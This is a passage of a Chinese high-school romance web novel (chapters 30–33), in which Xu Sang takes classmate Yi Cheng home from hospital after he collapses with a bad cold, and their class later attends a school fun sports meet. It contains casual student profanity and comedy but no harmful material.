“这个我知道。”陈慢举起半个手臂,“高一时,本来是黄黎老师带我们,但因为怀孕休假……要不然,她既教理一班,又教文科末班呢。而且,当初本来该黄老师接手带我们,但白老母说,不行,她辛辛苦苦培的果,功劳不能让人抢了……牛逼吧!” 许桑听了两耳朵便失去兴趣,继续看题。 即使是事实,但,也是挺掉价的八卦… 第30章 第30章 【“打字。”】 晚自习三节, 全是自习——高三年级任课老师集体开研讨会,各班都由班主任或是对应课的课代表代为管理。 “都安静啊,自己做作业, 改错或者做资料书,反正就查漏补缺什么的!” 陈慢主持了两分钟后,就由数学课代表上去坐讲台,守纪律。 自习进行到一半, 许桑收拾草稿纸时,想起陈慢那一堆提问, 便“废物利用”, 写了张纸条。精简言辞后,没落款,径直传给陈慢。 知道源头是许桑后,陈慢喜切切接过纸条。 想到又多了些谈欢的“底料”,手都激动得颤抖。 剥开纸条,他瞬间瞪圆了眼——“没有。” 多漂亮两字啊, 乍一看,有打断骨头连着筋的那种飘逸;细看,有血有肉,有筋有骨…… 不过写的东西怎么能这么冰冷而凉薄呢!! 他垂下脑袋,左手绕到背后,朝许桑的方向比了个“OK”,便苦渣渣地继续补作业。 吕丁盯着他的手势,回头, 许桑正埋头学习……疑惑,“慢慢,what happened?” 陈慢唉声, 转过头来,“我还以为易哥谈恋爱了,结果没有。” “哪来的错觉?”吕丁老成地拍他肩,忽然小声,“而且吧,我甚至有种感觉,易哥可能都不喜欢女生。” 数学课代表守在上面,形同虚设,下面的躁动嗡嗡的,越来越大。要是一声下课铃突然来打个岔,保准马上就能沸腾。 “啊?怎么说?”陈慢后背抵上他桌沿,耳朵极力往后凑。 “高一时,易哥不是在拾荒吗?”吕丁严肃,“一麻袋废品,一半都是情书……就这态度,能喜欢?” “……”陈慢沉思后点头,“我操,好他妈有道理!” 吕丁骄傲地翘下巴,“那是!” 受此启发,陈慢连忙摸出手机,又给许桑发消息。 【慢即是快(为人民服务版):许哥,拜托拜托,我重新问一遍(双手合十)】 【慢即是快(为人民服务版):就说吕丁问的,易哥有男朋友了吗……】 只是,发完,他忽然觉得不太妥当,又着急忙慌地尽数撤回。 虽然说,从他细致入微面面俱到的观察看来,易哥对许桑确实不太一样。 平时跟他们仨说话,天天都像是新年,各种炸鞭炮……但对许桑,脾气那叫一个好! 但,尽管如此,好像还是过于冒昧了——包括上次问女朋友那个问题。 要不是顾念有吃过饭的交情…… 想着,陈慢另外撕了张草稿纸,洋洋洒洒写了一篇中型道歉信。 信传到许桑手里时,下课铃刚好打响。 许桑顺手将纸条揣进兜里,前脚迈出教室,后脚兜里的手机就开始震动。 两步拐到走廊尽头,许桑调小声音后接听。 “您好,请问您认识易承吗?” “认识。” “那太好了。是这样的……” 听完电话,许桑回了趟教室,脚步匆乱,单手抓上书包,拉链都没拉上,就又出了教室门。 毕竟教师集体开会算是件十年不遇的巧事,这会儿下课,平日里还要装上两分钟好学生的人,此刻也放飞自我,出去各种联谊外交探访。 教室出于半空状态,鲜少有人注意到他的匆忙离开。 只有闲得cos向日葵、对着不存在的太阳三百六十度旋转脑袋的吕丁,瞥到许桑的身影,不解地问:“怎么上个厕所还要背书包?” 半沉浸在题海里的赵鸿途自然接上话,“当然是要学习啊!拉屎时,书包垫在大腿上,本子铺上面,不容易一凹一陷的,很好写字。” “……牛逼啊!”吕丁转回来,“要是我的话,应该是拉不出来的时候,背上书包准备在厕所露宿一晚上慢慢拉吧!蹲一晚上,看谁耗得过谁!” “你这么难拉?”赵鸿途皱眉,将思考几遍的题圈好,双手捧上,正准备找许桑疏解疏解。 结果转头,空空如也。 他僵住,“诶?许哥呢?” “刚出去了。”吕丁补充一句,“背着书包出去的。” “啊?为什么背书包啊?”赵鸿途又把书老老实实地捧回桌面。 吕丁翻了个白眼:“刚不问你吗?傻缺。”- 不管对方看不看得到,临时跟陈慢发了个请假消息,许桑就近招了个出租车,报了地名后,多加了一句,“能尽量快些吗?” 司机脚下多给了些力,“能。” “谢谢。” “应该的。”司机瞪圆眼睛盯着路,嘴里倒是闲心打着岔,“不过你也别担心,这里离得近,就十分钟,很快就到了。” “嗯。”许桑偏头看着窗外,沿途有零散的灯光,连同路灯,勉强将前路照得亮堂。 司机给足油门,透过内后视镜看了眼人,说道: “我跑十几年车了。近些年呢,清晰地感觉到,去医院的人越来越多,我这车里啊,最不稀奇的就是眼泪……然后,一是为我,二是积点福嘛,就去庙里求了个福,挂在这儿的,你多看两眼,定能保你也保挂念的人平安的。” 许桑偏头,看向前座,那儿垂着一条红色福袋。 福袋鼓囊囊的,红色打底,金丝勾线——实在地落着两字:“平安。” 会意后,许桑紧绷的心情有片刻松弛,回道:“借您吉言。” “会平安的。”司机中气十足,说起话来声音大,给人一种踏实感,“算命的说我命好福气大,我专门把运势转了些进福袋……反正,坐过我车的,保准平平安安,顺顺遂遂!” 虽然这些话扯了八百里的淡,但许桑还是笑了。 方才那通电话是医院打来的,说易承晕倒了,送他的人送是送了,但刚提到钱人就先跑了。护士按通话顺序,连着打了四五个都被匆匆挂断…… 许桑不禁皱眉,走到导诊台时,甚至都没发觉自己嗓音带着燥意:“请问,易承在哪个病房?” 护士看着他的脸,眼里滑过一丝惊艳,怔了两秒才回道:“哦?你是刚刚接电话的家属吗?” 没顾着纠正“家属”这个字眼,许桑应道:“是。他在哪个病房?” “小晨,人来了!”护士连忙招呼来对面那位,并说,“小晨带您过去。” “好。” 到病房时,许桑先看了眼易承的情况。 蓝白色惨淡的棉被将身子捂得严实,露出的脸,血色淡,面色偏苍白。 “他情况还好,就是重感冒,加上过度劳累,身体短时间没受住导致的晕倒。不过休息一段时间就好了,不是什么特别大的问题。”小晨在一旁说着,顺便把易承的手机递给他。 许桑接过,“谢谢。” 顿了两秒,忽地想起易承那晚说的“不喜欢医院”,他问道:“大概什么时候能出院?” “等他醒了,随时都可以。医生开的药,按时吃;平时多注意休息……” 听完一长串,许桑头回没有太过不耐烦,把用药什么的记好后,问:“还有吗?” “还有,”小晨看了眼许桑,又看了眼床上的易承,忽而笑着回道:“生病了得有人陪着。多陪伴,多守护,心理情绪上会好些,心情上好了身体自然恢复得快。” “好。”许桑记下关键点:“谢谢。” 循着护士交完相关费用,许桑坐床边,才算完三四个题,床上的人便醒了。 易承睁开眼时,人还是懵的,偏偏破嗓子跟噶了一样,说不出话,他像个哑巴,怔怔打量周边环境。 目光扫到许桑时,他微愣,静静看着他一副与世隔绝的模样,没忍住,清了清嗓子。 闻声,许桑从题里抽出注意力,看向他,但貌似灵魂还没完全脱“身”,他开口一句,“根号五。” “……”易承半撑起来的手臂都软了些力,没支住又摔回床上。 许桑也顿了下,起身,一副无事发生的模样,语气平淡:“有什么不舒服的吗?” 易承身体乏力,懒得起来,只朝他勾了勾手。 “嗯?”不解但遵守,许桑走过去,俯身,“你说。” 应该是长时间没说话或者吃了什么刺激性东西,又或者单纯是重感冒的某一症状……易承实打实地说不出话,只勉强用气音,出声:“扶我。” “……”耳边除了热气就是热气,连着品了三四回,许桑才勉强听明白他的意思,无奈轻笑,“好。” 将人扶起来时,易承又攀着他耳朵说话。 “……”惯的他! 许桑听到一半,就退了半步,将床边放着的手机扔他怀里,“打字。” 易承微微一顿,目不转睛地看着他时,灵活给手机翻了个面儿,半晌,他勾唇一笑,这才点开聊天框。 兜里有轻声震动,许桑摸出手机,看消息。 【易承:你怎么在这?】 许桑回复:“你觉得呢?” 【易承:谢谢。】 许桑看着顶上的“对方正在输入中…”,等了半天没看到消息,抬眸看人,就见易承笑着。 像个二傻子。 另等了两分钟,许桑没了耐心,问:“要回家还是就住这?点头回家,摇头住这。” 易承片刻没纠结,重重地连点了三次头。 “行。”许桑走到旁边,取过旁边挂着的衣服,扔给他,说道:“先换衣服。” 易承“嗯”了一声。 两分钟后,许桑背对着他,问:“还没好?” 闻声,易承提上裤子,坐回床上,艰难打字:“好了。” 紧接着,消息又跳进来。 【易承:我去趟厕所。】 许桑转身看他一眼,“需要帮忙吗?” 这话跟刺儿一样,易承给气笑了,说不了话噼里啪啦一通打字:“我他妈又没残!” 30-40 第31章 第31章 【“骂不还口。”】…… 等人进了厕所, 许桑拿上一次性杯子,去外面接了杯热水。 接满,他刚想走回去, 忽然听到一侧有大嗓门喊了声“易承”。 导诊台旁,披着件青黑色外套,腰部佝偻的中年男人,扒着台子, 焦急道:“你知道易承在哪个病房吗?” 可能是看人满脸胡茬、加上一身类乞丐装,护士警惕地看着他:“请问您跟他什么关系呢?” “我爹他儿。”说得太顺了, 男人流利说完, 才后知后觉地补充前提条件,“干的。” “……这么草率。”护士嘀咕一句,又多看了他几眼,刚准备报房号,余光忽然瞥见走廊上恰好看向这边的许桑,没多加思考, 喊道:“你去找那个帅哥,他知道!” “搞半天你不知道啊。”男人无语地瞪她一眼,相当雷厉地转身,小声:“浪费我两分钟。” 吐槽完,他脚步疯狂交替,隔着十几步,嗓门就已经到了:“小帅哥!” 护士“啊”了一声,扶额: 你妈的, 这不是怕你是坏人吗? “……”许桑看向他,等他走到面前才问道,“您是?” “我是易承他干爹。”男人跑得有点累, 缓了半分钟,气才跑匀,他将许桑打量完,“这么年轻啊……你叫我杨叔就行。” 许桑淡声,“嗯。” 想来易承说的“杨叔”,便是这位杨叔了。 “那个,你带我去趟他病房,行吧?” 许桑依旧平静:“行。” “好,谢谢啊。承小子他没事儿吧?”杨越情绪全在声调里,跟屁股后头跟了头野猪一样,忙不迭的,“我去给媳妇儿买药,哪知道刚回来就听他进医院了,赶紧把店关了跑过来,可给我急的,背上全是汗。” “问题不大。”许桑看了他一眼,朝病房方向带路。 “那就好。”杨越伸手,用阔大的手心顺了顺胸口,唠嗑似的,“不过承小子从小身体就倍儿棒,别人发烧半死不活,他发烧还能进水里捞鱼,能折腾。肯定没事的……” 闻言,许桑轻拧眉: 要易承这状态去捞鱼,鱼没两口咬死他都算好的了。 杨越走路走不快,因为总要扶着腰,分心,紧赶慢赶跟上许桑的步子,抬头多看了他几眼,他不禁问道:“你是?” 推开门,许桑回道:“他同学。” “啊?现在的同学情这么扎实?”杨越“嘿哟”一声,“那你是不知道,我上学那会,谁上课偷偷摸摸放个屁,班上同学掘地三尺也要把人就揪出来晒个面儿。” “……”许桑把着门,轻顿,“也是朋友。” “哦,那敢情好啊!” 走进房间,杨越四处张望,又慌了:“他人呢?” “厕所。”许桑将纸杯放在床头柜上,手指贴着杯沿,感受着温度。 “哦哦。”杨越坐床上,受不了消毒水的味儿,揉了两道鼻子,看向站着的“长条”,多看了两眼,没忍住,说道,“小朋友,性子这么冷?” 许桑转过身,确定他是在跟自己说话,伸手挑过一旁的矮凳,坐下,“有吗?” “有,够够的!”杨越往后坐实在了,接了一句:“跟承小子之前挺像。” 易承立在半块镜子前,撩了两把头发,艰难地吸了口气,才埋下头,洗了把脸。 凉水溅在脸上,冷意星星点点渗入皮肤……他打了个寒战,拧上水龙头。 试着清了两道嗓子,还不得声音,易承叹气,推门出去。 刚就听到些动静,这会,看到杨越时,易承习惯性地想喊声“杨叔”,但,立刻就到了“有句话想讲但讲不出口”的关口。 他单单朝人挑眉,挑完,还伸手扬了个招呼。 “!”杨越腾地从床上蹦起来。 许桑自始自终情绪起伏都不大,见状,起身将水杯递给他,说:“喝水。” “嗯。”易承看着他,点头,双手接过。 嗓子疼,只能小口慢饮。 “这是怎么了?”没听到熟悉成习惯的“杨叔”,杨越浑身难受,连忙望向一旁的许桑。 眼里饥渴万分。 许桑回道:“哑了。” “哑,哑巴了?”杨越磕巴了一下,没两秒就哈哈大笑起来,“哈哈哈哈……说不出话是不是?” “……”易承没绷住力,水猛地灌进口腔,给自己呛了个结实。 许桑轻皱眉,伸手接过纸杯的同时,抽了两张纸递给他,道:“蠢得可以。” 放平时,易承高低得怼两句回去;但现在,毕竟硬件有损,他只能闷着受了。 他定定看着许桑,用口型叽里咕噜了两句。 “哈哈……”杨越越笑越大声,“对,我刚想问,是不是‘骂不还口’的状态,哈哈哈……” 易承将整杯水都干了,发干发痒的喉咙才稍有舒缓,他坐床头,听着杨越一阵比一阵大的笑声,摸出手机,给许桑发消息。 【易承:再笑扰民了。】 摸到手机,看完消息,许桑眉眼间染着笑,明白他的意思后,笑着“劝阻”杨越,“杨叔。” “怎么了?”杨越迅即止住笑,望向他。 “他,现在就能出院。”许桑顿了两秒,不着痕迹地给“可以回家”四字换了个措辞。 杨越坐起来,大笑:“好,这个好啊!” “是不是身子软的,没力气?”杨越刚听许桑讲了些“病情”,临出发,关切地问了句。 易承很小幅度地摇头否认。 许桑细致地看着人,没说话,眼中闪过些异样情绪。 “那就好。你是不知道你戚姨,也是感冒了,挺严重,天天在家躺床上,一要动,就吆喝腿软手软,头晕脑壳痛……我都伺候祖宗一样供着的,可累死我了。” 易承勾着唇,无言却有意。 “哎呀,你这嘴,还是该说话。”杨越又要憋不住笑了,连着假咳四五声,才正经起来,“……对了,我带了件大衣过来,本来说放店里盖着睡觉,但外面冷,你现在穿上,暖和些。” 说着,他蹲下,大手大脚地拉开包,把衣服取出来。 是老旧款式的军大衣,暖和是暖和,但一般除了厚实,还死沉死沉的。 “我来吧。”许桑上前,接过他手里的衣服。 杨越应道:“好。” 方才一直暗暗在观察,承小子的这个“朋友”,虽然脾性上冷了点,但不论是从外形条件还是从言谈行为上来看,都还不错。 展开衣服,许桑站到床边,从后绕到前,见易承一动不动,轻敛眉:“衣来伸手都不懂?” “……”易承忽地笑了,连忙将手伸进袖子里。 从出租车上下来,天色晚得差不多了。 杨越叮嘱了两句后,说道:“我媳妇一个人在家,睡不着……我就先回去了。明天就不用你跟着进货了,我看了下,存货足的,就算要进,我找个朋友帮个忙就是……承小子,好好休息两天,听到没有!” “嗯嗯。”易承听话地点头。 等人走后,许桑看向他,说道:“可以靠着我。” “嗯?” 许桑解释道:“你撒谎了。” 明明身体机能还未完全恢复,却对杨叔的问询一秒否定。 易承目光微顿,就这样静静回视着他。 他莫名地,清晰明白,许桑这句“撒谎”指的是什么。 吐槽了八百回的路灯依旧值得吐槽,光线微弱,由它带出的影子都薄如蝉翼……夜色沉沉的,淡淡抹去关于白天的蛛丝马迹。 光线偏暗,可依旧能从对方澄明的眼瞳里,寻到自己。易承轻扯嘴角,无言,眸光微动,他伸手,有些猝然地握上许桑的手腕。 没迟疑,他用力将人往怀里一拽,而后,另一手环上他的腰。 怀里实实落满,心底有种陌生的情愫疯狂滋生……抱上他的瞬间,易承依循本能地,闭眼,下巴轻轻贴着他肩颈处。 晚风轻拂,撩过皮肤,带来些凉凉的战栗。 这个拥抱过于突然,许桑甚至条件反射性地都捏紧了拳,若非知道面前这人姓易名承,他一拳就出去了……颈侧,裹满寒意的鼻尖轻蹭,他不禁缩了下脖子。 “有病?”许桑僵住,问。 易承“嗯”了一声,音量蚊蝇大小,还夹杂着沙哑,“没力气。” “……” 许桑轻顿,想着人确实有病,右腿往后退了些立住身体,便没再出声,由着他了。 按平行时间线算来,现在,学校里还在最后一节晚自习——约莫十分钟后放学。 朝昏区,尤其是晚上,人流少。 两人拥在路口,久久。 “想冻死在这?”许桑偏头,鼻尖擦过他头发,微顿,又偏过来。 耳垂不由染上薄粉。 “没。”易承轻笑一声,嗓子缓了不久,勉强能在气音之外加点“动静”,他低声耳语,“就靠一下。” “嗯。” 许桑垂眸,看了眼自己被拽着的、发僵的手,另一手仍有些无处安放……想了想,他没再纠结,抱了回去。 感受到这微动作,易承勾唇,低浅的笑声绽在他耳膜处,念道:“许桑。” “……嗯。”许桑忍着耳垂的痒意,专心听他的后话。 “谢谢。”易承轻顿,说出了病房里迟疑后删掉的话,“没想到是你。” “我也没想到。”许桑如实回答。 易承笑着,抱着他,力道加重了一分。 方才医院打的那通电话,说是按通话记录依次打的……许桑不想深究他这句“没想到是你”背后的故事,但,最近的相处,点点滴滴的细节历历在目。 实话说,不多想便已有答案。 不知为何,想到此,他莫名烦躁,掀眸,淡声:“靠够没有?手酸了。” 第32章 第32章 【“他妈我出家了。”】…… 从浴室出来, 易承给自己倒了杯热水——缭绕的热气,糊他一脸。 说来,这感冒之后, 既强又弱。 味觉淡化,之前隶属特辣级别的东西,放现在来吃,只会嫌弃性地叹上一句:“什么辣, 这个水平……”;知觉迟缓,之前碰都不会碰的热水, 放现在来喝, 除了觉得暖暖的,压根儿没有那种想象中燎心烧肺的痛楚。 当然,弱也是弱的可以。 端杯水,手腕都要矫情两秒。 易承猛地灌了半杯,泛着刺痛的喉咙稍有和缓,他另添了些水, 边喝,另一手握着干毛巾,边粗暴地把头发擦干。 走到卧室门口时,他脚步轻顿。 倚着书桌桌沿而站的许桑,眉眼间镀上神似自动调试为夜晚模式的暖光,颇具疏离感的白皙柔和不少。 他一手撑着桌面,一手拿着张纸条,微垂的眼眸下, 嘴角轻勾着。 那张纸条,墨迹“力透纸背”,背面凹凸不平尽是字体轮廓。 若他离得再近些, 脑袋动两下,兴许便能破译正面的内容——啧,说“破译”都高抬它了! “在看什么?”他走过去,放纵了心底的好奇因子肆意。 许桑抬眸,见他一身薄薄的睡衣,轻蹙眉,“一封信。” “信?”易承坐在床边,喝了口热水后,将水杯放在床边,两手用力擦着头发,笑道:“情书啊?” “……不是。” 易承接道:“那笑什么?” 许桑站直,将纸条递给他,“自己看。” 见他两手在擦头,又没有要单独腾出一只手的迹象……许桑顿了两秒,上前一步,将纸条怼他眼前。 易承挑眉,微仰着头,视线从他脸上,缓缓落到纸上时,轻笑了声。 纸上字迹,像挤墙角撒尿时、翘起来瞎蹦跶的狗腿“舞”出的轨迹,丑得惨不忍睹! “敬(划掉)亲爱的许桑同学: 对不起对不起对不起,我是没有边界感的傻蛋傻缺傻逼。 我个杀千刀的(全划掉)我千不该万不该,不该让你去问易哥有没有男(划掉)女朋友这件事,我百不该十不该,不该让尴尬转移到你身上……啊,我鞠躬,我尽瘁(划掉),我双膝跪地,对不起嘛! 还有还有……” 扔考场上,这封“信”,字迹不过关,用词不准确,基本格式都乱七八槽——60分给30分都是老师保平均分的上上策! 看完,易承轻勾唇,身体处于全放松状态,抬头,脖颈线条被牵得明晰而凌厉。他说道:“我猜到了。” 无头有尾,许桑不解,“嗯?” “问的人不是你。” “嗯。”许桑将纸条折好,扔进垃圾桶前顿了两秒,还是塞回了兜里。 头发干得差不多了,易承将毛巾搭手里,起身,出去前忽而顿住,他看向许桑,上前了一步,眼神里锁着探究,还带着哑劲儿的嗓音透着些压迫,他挑眉,问道:“许桑,那你好奇吗?” 视野里,满当当的,全是易承。 鼻尖,萦绕着淡淡的药味——普通感冒灵腌出的味儿。 许桑蹙眉,近在咫尺的人兴味显然。喉头轻滚,他扯过人手臂上的毛巾,丝毫不温柔地盖他头上。 毛巾绵绵软软,残留着湿润,尾端偏长,刚好够盖住人的眼…… 许桑呼吸转沉,轻轻擦拭他耳旁的发梢时,倾身,附耳,淡声:“不好奇。” “啧。”易承轻笑,伸手按住毛巾,揉搓了两下。 医生开的药,挺多的,杂七杂八的颗粒药落满了大半的手心。 许桑手指抵着玻璃杯,感觉温度差不多时,走到床边,“药吃了再睡。” “好。”易承坐起来,背后抵着靠枕,麻溜地咽下这把药,又灌了口水。他握着水杯,压下喉咙里急需水的欲望,问道:“你什么时候回去?” 许桑扯了张纸,抹掉手心里沾上的药味:“你睡了我就走。” “好。”易承笑着将剩下半杯水喝完。 倒头睡下前,易承忽地想起什么,匆匆道:“对了,上次,你校服。” “嗯?”许桑勾了个板凳进房间,边看题边看人。 “我洗好了,你走的时候带上。”易承把被子往上提了些,盖到肩颈之上,热意浮上,惹得脑袋有些昏沉。 “好。” 从阳台上将校服外套取下来,许桑闻着衣服上沾上的味道,微顿——貌似他两件校服,都让易承洗了个遍。 他倚着墙轻笑,单手掏出手机,翻到与易承的聊天框。 顺手给人改了个备注——“校服专洗机。” 周三,教室里哄哄的。 早读声里,混迹的全是些琐碎的交谈。 “怎么还没有广播通知我们上操场啊?再磨叽下去,早自习结束第一节是数学课啊!我他妈一分钟也不想再上数学课这东西!” “‘山河破碎风飘絮’,我他妈也不想上数学课……‘人生自古谁无死’,多上一分钟都想死…” “诶,我听到动静了,楼上有人跺脚,应该是要准备出发了!” “你耳朵也太牛逼了吧……跺脚真不是那人闲得蛋疼?” “再不上操场我他妈蛋疼!服了个娘的,还不让走……” 陈慢立在讲台上,时不时从单词本里,偷摸摸抬起眼睛,听两耳朵八卦。 实在无心学习,他走到过道里,前后转悠时,借“监督学习”的名头,摆些闲的。 忽地,前门被砰砰两声砸响。 第一排的女生,暴躁非常,支出上半身,一把把锁抽开,骂了句:“砸个锤子砸!” 砸门那人脸上发窘,又用指关节啪啪两声落门上,教室里本就单薄稀落的读书声更是淡得没响头了……几十号人齐刷刷地看向他。 男生咳了一声,走到饮水机旁,两脚一蹦,四肢乱飞时,还算精准地将广播线插进孔里。 与此同时,广播里传来骂声。 “……哪个班把广播线拔了,给我把线插上去!!” 一声连着一声,跟卡了bug的复读机一样,从杂音大于人声的老旧设备里出来,清楚而响亮。 “……”理一班内,一堆两堆人的安静把浓密空气都挤扁了。 陈慢“我操”了一声,连忙飞到讲台旁,虽然平时看不惯这二班班长,但此时大局在前,他大大方方说了声,“谢了,二逼——呃……二班班长。” 男生哈哈大笑,“不客气。”说完,优雅转身,离开了。 “门也不带上……”陈慢起身,去把门重重关上,金属相撞,哐啷两声! “哪个班的,脾气这么大,还砸门呢!”广播里炸声。 陈慢“嚯”了一声,战战兢兢地挪到讲台旁。 教室里,笑声一阵一阵麦浪似的。 “我真服了,慢慢像个傻子。”吕丁日常吐槽,余光忽地瞥到后桌的同桌,震了一下,连忙道:“我操!易哥,你出山了?” “……”易承屁股还没坐下,差点被这一嗓门顶飞了,“他妈我出家了。” “哈哈哈。”吕丁索性转了半边身子过来,笑道,“易哥,我跟你讲,昨天晚自习第一节,校领导不是在讲什么校风校貌嘛,让各科老师暂停上课……然后,你猜怎么着?哎妈笑死我,老徐直接跳起来把广播线拔了,还说:‘啰里吧嗦尽是堆没用的。’肠子都给我笑流出去了…然后,刚刚广播不是没声儿嘛…” 易承听他讲完,笑道:“刚广播骂半天骂你们呢。” “什么你们,明明是我们好吧…”吕丁光速纠正,“别想逃骂!” “……” 闲叨完,易承看了眼身边的人。 正沉浸在不知道哪科的题里,笔尖时不时落墨,看得出来思绪流畅,毫无卡壳迹象。 “啧!”易承托腮,斜着身子看人,问道:“同桌,吃早饭没?” 许桑顿笔,“吃了。” “那可惜了。”易承伸手,将那杯豆浆挪到桌上。 “不可惜,不可惜!”吕丁又转回来,跟狼见了体弱的兔子一样,眼睛泛着绿光,“易哥,我还能喝,十杯都不在话下!” “……”易承将豆浆递给他。 广播里,那位脾气赛炸药的老师拍了拍麦,换了个调,“同学们早上好!今天,艳阳高照,万里无云,是个好天气,适合舒活筋骨、锻炼体魄。鉴于前几学期各种各样的问题耽误了运动会的开展,学校特于今日上午,开展高三年级专属趣味运动会,希望……” 这长篇大论,左“育人”,右“强身”,若非有趣味运动会之实,人都要讲睡着了。 约莫十分钟后,老师打了个哈欠,下令: “请各班班长及体育委员组织班内学生,有序到达操场,按照昨日的区划位置,席地而坐……” “牛逼,席地而坐,我专门把板凳腾空准备搬了…” “陈班,快点走啊!我们要做第一个到场的,啊啊啊啊!” “刚睡醒,这是要走了?” “不是不是,前面的是蛆吗?蛆来了也比你蠕动得快啊!” 因着先天的地理优势,吕丁先一步带着后面的人,突出重围,远超理一班的集体进度,比得利潮汐的小船还要利索地冲向了楼下。 不过,众所周知,疯狗都挤不过怨气胜鬼、但突遭释放的“高三牲”。 从二楼往下,每一级台阶上,都塞了一打人——比罐装可乐住得还要拥挤几分。 易承看了眼从上流下来且还在不断增多的人,伸手,抓住了许桑的手腕,在他耳边轻声,“跟我走。” 许桑“嗯”了一声,由着他牵着。在他背后,还算轻松地走向楼层另一边。 从人群中挤出,呼吸都清透了不少。 步子放慢后,许桑问道:“去哪?” “随便蹭间教室坐着。”易承没松开人,推开间教室门后,摸出手机给吕丁发了个消息,说道:“我让吕丁留了两个位,晚些再去。” 许桑没质疑他的决定:“好。” 教室里没人,到处堆满了书,随便走两步都感觉踩到了某本书——不愧是文科班。 许桑在看黑板报。 易承单手撑着坐上抵着门的空桌子,看着许桑,视线勾完一圈他的眉眼,没忍住,挪了过去,问道:“就这么信我?” 从红领巾男孩的粉笔画里错开视线,许桑看向他,“什么?” 易承笑着,要解释时匆匆收住,别开眼:“……没什么。” 第33章 第33章 【“什么毛病?”】…… “易哥, 许哥,这儿!” 人群中,吕丁脱了校服外套, 连人带衣服,整个横在地上。而首尾两端,一端坐着赵鸿途,一端坐着陈慢。 乍一看, 老徐应该会过来蹦哒两句:“真的是够了!” 见人过来,陈慢嫌弃地推了把吕丁, 又把衣服给他扔回去, 麻溜地溜坐到中间,给两人腾开位置。 “谢谢。” 许桑挨着易承靠边坐下。 等各班落座就绪,台上,正准备说开场词的女主持,因紧张握得死紧的话筒被两把拽走。 而后,走路不带风带沙尘暴的教导主任, 阔步走到中央,拍话筒,清嗓子,道: “都给我坐好,平时教的仪态都学到猪脑子里去了?!还有,这点太阳算什么,那些打伞的,给我马上收起来!最后, 那些脱了校服外套,里面是些鬼迷日眼衣服的,把校服给我穿上!!” 操场上, 隐着传来一阵哀怨。 等教导主任咆哮完,女主持更紧张了,拿着话筒说了半天,结果发现刚接过时不小心按了“关”,着急忙慌地调试好,才继续,“敬爱的老师萌……们,亲爱的同鞋…学们……” 陈慢拿着几张草稿纸,背面写满了小作文那种,在人群中瞎转悠着介绍项目及规则。 “那什么,等会儿,第一个项目是‘包装木乃伊’,规则简单,一个站着别动,另一个缠长条纸,越快越好,越像木乃伊越好;第二个项目是‘2人3足’,也简单,就看默契,绑腿跑……” “木乃伊好玩,我突然好心动啊……能补报吗?” “当时说了名额有限,肯定没了啊!” “万一呢?” “陈班,哪班的女生啊,还‘看了一眼就忘不掉了……’哎哟哟!” 有个男生,脑袋转了380°,硬要把“小作文”看出个所以然来。 “什么鬼!”陈慢心里一咯噔,飞速把草纸翻过来,面上飘过一坨红,靠着多年的厚脸皮加城墙般的心理素质,他故作正经,“我拿吕丁本子做的笔记。” 吕丁笑骂:“慢慢你他妈……” 毕竟是趣味运动赛事,就图一个“趣味”。 项目间,只消报上参与人数,至于小组成员及组队问题,就纯看自己意愿。 等准备工作基本到位,等教导主任话痨属性被彻底满足,活动开始时,正是太阳有点威力的时候——跟“回光返照”一样,正降温呢,突然又热上一阵。 易承看了眼身边的人,冷白的皮肤,在太阳光的照射下,折出更白的色度,而脸颊上微微泛起些红,他不禁问道:“热吗?” “还好。”许桑垂眸,袖子掩着的手机屏幕里,端端正正“坐”着道数学题。 易承多看了他两眼。 校服套得随意,里面是件纯白卫衣,想来为了坐得舒服,上半身微微前倾,锁骨周遭的肌肤也随之暴露出……而肌肤上,染着点点薄红。 “是吗?”几乎是循着内心,易承伸手,翻过手背,轻轻贴了下他的脸颊,手背处,隔着层纤薄的皮肉,传过来些许阳光的热度。 许桑轻顿,抬眸,看向他,“什么毛病?” 没等易承说什么,从第一个项目回来的吕丁,一屁股坐两人面前,疑惑,“易哥,你干嘛摸许哥脸?” “……”易承微顿,自然地将手滑下,想想又滑到他肩侧,将人虚搂着,挑眉,“关你屁事。” 许桑偏头,看了眼搭自己肩上的手,没挣开,默认了。 “凶我,易哥你变了……”吕丁老成地摇摇头,余光瞥到跌跌撞撞“爬”过来的赵鸿途,欢天喜地地说道,“你们没看到,刚随机人员进行预赛,鸿途被缠成木乃伊的时候,那轮廓,笑死我了,前凸后翘的,哈哈哈哈……” 赵鸿途累得人都要卷成饼了,一掌拍人背上,“我服了,你别笑了!” 易承眉眼嵌着笑,凑到许桑耳边轻声,“要去看吗?” 许桑按灭手机屏幕,回道:“……去。” “我刚巡了一圈,找到个绝佳观赏点。”吕丁起身,薅着身边几人,有序组织着,“易哥,许哥,快,慢慢也在场,我小点声八卦两秒,等会儿要缠他的,就是他喜欢了两星期的女生。” “缠?”许桑疑惑。 易承迅速回应:“嗯,就是给他缠成木乃伊。” “……对。”吕丁刚想回复,没想到被易承抢答了,便只能延伸延伸再延伸,“刚慢慢没讲清楚规则,‘包装木乃伊’,就是一个人当木乃伊,站着不动就行,另一个以最快速度把另一个包裹得密不透风……就酱。” “嗯。”许桑明白规则,只是方才吕丁的用词,让他误以为又是一出什么狗血烂剧情,便多嘴了一句。 没想到,多嘴一句,换来十句不止。 听得他要无语不无语的…… 比赛要开始时,吕丁脑袋都要支到比赛场地了。疯狂呐喊:“慢慢加油!加油!” 才加两声油,场地里,陈慢忽然抽风似的抖动,搐了两秒,被草草“封”住的喉咙里,飞出来一串“咯咯咯咯”的笑声… 吓得专职包裹的女生一愣一愣的,手上缠得封条哗啦啦落了一地。 “……” “哈哈哈哈哈……” 笑声会传染,尤其是魔性的。 这点真理,不管对于“有关的人”还是“无关的人”,貌似都成立——观战的跟着笑,连参赛的几位都或重或轻地原地摇摆。 吕丁满脑子都是陈慢的“终身大事”,见此一状,忧心忡忡:“我他妈服了,慢慢丢脸丢大发了……要我是那女生,除了想一脚踹死他,还能有别的想法?!” 易承笑了两声,“火眼金睛”地解释道:“陈慢胳肢窝敏感,刚那女生应该戳到了。” “……”许桑完全不能确定,自己到底是被蠢到了还是被无语到了,总之,笑了,还吐槽一句:“不该从下往上缠吗?” “爱情让人降智,正常。”易承回道。 “……”许桑看了眼两人的状态,“这离爱上,还差个二万五千里吧。” 吕丁抽出脑袋就是狂笑,“哈哈哈…许哥,你这嘴,随了易哥了!” 等项目结束,陈慢组,竟然邪门地得了最高分——可能战术吧,先笑死对手,再孤军战空气! 